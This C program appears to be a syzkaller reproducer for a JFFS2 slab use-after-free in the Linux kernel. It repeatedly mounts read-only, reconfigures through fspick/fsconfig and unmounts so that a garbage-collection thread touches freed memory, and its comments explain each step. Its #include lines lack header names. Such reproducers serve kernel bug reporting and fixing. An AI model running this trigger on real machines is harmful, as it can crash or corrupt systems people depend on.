// https://syzkaller.appspot.com/bug?id=f1f12cd146f61eb399d3d188703913f53a1cb159 #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #ifndef __NR_fsopen #define __NR_fsopen 430 #endif #ifndef __NR_fsconfig #define __NR_fsconfig 431 #endif #ifndef __NR_fspick #define __NR_fspick 433 #endif #ifndef FSCONFIG_CMD_RECONFIGURE #define FSCONFIG_CMD_RECONFIGURE 7 #endif /* * Helper to mount JFFS2 read-only on target directory. * Tries "mtd0", followed by device name "mtd:mtdram test device", * and block device fallback "/dev/mtdblock0". */ static int do_mount_jffs2_ro(const char *target) { int res = mount("mtd0", target, "jffs2", MS_RDONLY, NULL); if (res == 0) { printf("[+] mount(\"mtd0\", \"%s\", \"jffs2\", MS_RDONLY, NULL) successful.\n", target); return 0; } printf("[*] mount(\"mtd0\") failed: %s, trying \"mtd:mtdram test device\"...\n", strerror(errno)); res = mount("mtd:mtdram test device", target, "jffs2", MS_RDONLY, NULL); if (res == 0) { printf("[+] mount(\"mtd:mtdram test device\", \"%s\", \"jffs2\", MS_RDONLY, NULL) successful.\n", target); return 0; } printf("[*] mount(\"mtd:mtdram test device\") failed: %s, trying \"/dev/mtdblock0\"...\n", strerror(errno)); res = mount("/dev/mtdblock0", target, "jffs2", MS_RDONLY, NULL); if (res == 0) { printf("[+] mount(\"/dev/mtdblock0\", \"%s\", \"jffs2\", MS_RDONLY, NULL) successful.\n", target); return 0; } printf("[-] All mount attempts failed: %s\n", strerror(errno)); return -1; } int main(void) { setvbuf(stdout, NULL, _IONBF, 0); printf("[+] Starting reproducer for JFFS2 GC thread slab-UAF...\n"); const char *mnt = "/tmp/jffs2_repro_mnt"; /* Step 1: Create mountpoint directory */ int res = mkdir(mnt, 0755); if (res < 0 && errno != EEXIST) { printf("[-] Failed to mkdir(\"%s\"): %s\n", mnt, strerror(errno)); exit(1); } printf("[+] mkdir(\"%s\") successful.\n", mnt); /* Step 2: Ensure clean unmounted state before starting */ res = umount2(mnt, MNT_FORCE | MNT_DETACH); if (res < 0 && errno != EINVAL && errno != ENOENT) { printf("[*] Pre-cleanup umount2 returned %s\n", strerror(errno)); } else { printf("[+] Pre-cleanup umount2 check passed.\n"); } /* * Step 3: Iterate the desynchronization cycle: * a) Mount JFFS2 read-only (sb_rdonly is set; GC thread is NOT started). * b) Call fspick to obtain an fs_context with sb_flags = 0 and sb_flags_mask = 0. * c) Call fsconfig(FSCONFIG_CMD_RECONFIGURE). This invokes jffs2_do_remount_fs, * which observes !(fc->sb_flags & SB_RDONLY) and starts jffs2_gcd_mtd0. * However, because fc->sb_flags_mask is 0, sb->s_flags remains SB_RDONLY. * d) Close the fspick file descriptor to release the context sb_active reference. * e) Call umount2. jffs2_kill_sb observes sb_rdonly(sb) == true, skips stopping * the GC thread, and calls kfree(c). * f) Sleep 200ms to let the background GC thread wake up from its 50ms timeout * and dereference the freed c->erase_completion_lock at fs/jffs2/background.c:94. */ for (int iter = 0; iter < 15; iter++) { printf("[*] --- Starting iteration %d ---\n", iter); res = do_mount_jffs2_ro(mnt); if (res < 0) { printf("[-] Failed to mount JFFS2 read-only in iteration %d: %s\n", iter, strerror(errno)); exit(1); } int pfd = syscall(__NR_fspick, AT_FDCWD, mnt, 0); if (pfd < 0) { printf("[-] Failed to fspick(\"%s\"): %s\n", mnt, strerror(errno)); exit(1); } printf("[+] fspick(\"%s\") successful (fd = %d).\n", mnt, pfd); res = syscall(__NR_fsconfig, pfd, FSCONFIG_CMD_RECONFIGURE, NULL, NULL, 0); if (res < 0) { printf("[-] Failed to fsconfig(FSCONFIG_CMD_RECONFIGURE): %s\n", strerror(errno)); close(pfd); exit(1); } printf("[+] fsconfig(FSCONFIG_CMD_RECONFIGURE) successful.\n"); res = close(pfd); if (res < 0) { printf("[-] Failed to close fspick fd: %s\n", strerror(errno)); exit(1); } printf("[+] close fspick fd successful.\n"); res = umount2(mnt, 0); if (res < 0) { printf("[*] umount2(0) failed (%s), trying MNT_DETACH...\n", strerror(errno)); res = umount2(mnt, MNT_DETACH); if (res < 0) { printf("[-] Failed to umount2(\"%s\"): %s\n", mnt, strerror(errno)); exit(1); } } printf("[+] umount2(\"%s\") successful.\n", mnt); printf("[+] Sleeping 200ms to allow GC thread to wake and trigger slab-UAF...\n"); usleep(200000); } /* * Step 4: Final delay to allow any remaining asynchronous kernel threads * to execute before userspace exit. */ printf("[+] Waiting additional 2 seconds for asynchronous kernel activity...\n"); sleep(2); res = rmdir(mnt); if (res < 0) { printf("[*] rmdir(\"%s\") returned %s\n", mnt, strerror(errno)); } else { printf("[+] rmdir(\"%s\") successful.\n", mnt); } printf("[+] Reproducer sequence completed successfully.\n"); return 0; }